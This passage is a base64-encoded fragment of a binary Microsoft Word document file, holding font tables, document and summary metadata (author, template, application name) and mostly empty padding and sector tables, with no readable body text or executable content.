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 AUAAAAAAhKCwLg3PAQMAAAABAAAAAwAAAAAAAAADAAAAAQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAAAALVzdWc LhsQk5cIACss+a4wAAAA/AAAAAwAAAABAAAAaAAAAA8AAABwAAAABQAAAIwAAAAGAAAAlAAAABEA AACcAAAAFwAAAKQAAAALAAAArAAAABAAAAC0AAAAEwAAALwAAAAWAAAAxAAAAA0AAADMAAAADAAA ANkAAAACAAAA4wQAAB4AAAAUAAAAU1BlY2lhbGlTVCBSZVBhY2sAAAADAAAAAQAAAAMAAAABAAAA AwAAAAEAAAADAAAAAAAPAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAAHhAAAAEAAAAB AAAAAAwQAAACAAAAHgAAAAkAAADN4Ofi4O3o5QADAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAD+////CQAAAAoAAAAL AAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAAGAAAABkA AAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAmAAAAJwAA ACgAAAApAAAAKgAAACsAAAAsAAAALQAAAC4AAAAvAAAAMAAAADEAAAAyAAAAMwAAADQAAAA1AAAA NgAAADcAAAA4AAAAOQAAADoAAAA7AAAAPAAAAD0AAAA+AAAAPwAAAEAAAABBAAAAQgAAAEMAAABE AAAARQAAAEYAAABHAAAASAAAAEkAAABKAAAASwAAAEwAAABNAAAATgAAAE8AAABQAAAAUQAAAFIA AABTAAAAVAAAAFUAAABWAAAAVwAAAFgAAABZAAAAWgAAAFsAAABcAAAAXQAAAF4AAABfAAAAYAAA AGEAAABiAAAAYwAAAGQAAABlAAAAZgAAAGcAAABoAAAAaQAAAGoAAABrAAAAbAAAAG0AAABuAAAA bwAAAHAAAABxAAAAcgAAAHMAAAB0AAAAdQAAAHYAAAB3AAAAeAAAAHkAAAB6AAAA/v///3wAAAB9 AAAAfgAAAH8AAACAAAAAgQAAAIIAAACDAAAAhAAAAIUAAACGAAAAhwAAAIgAAACJAAAA/v///4sA AACMAAAAjQAAAI4AAACPAAAAkAAAAJEAAAD+////kwAAAJQAAACVAAAAlgAAAJcAAACYAAAAmQAA AP7////9/////f///50AAAD+/////v////7///////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAFAf//////////AwAAAAYJAgAAAAAAwAAAAAAAAEYAAAAA 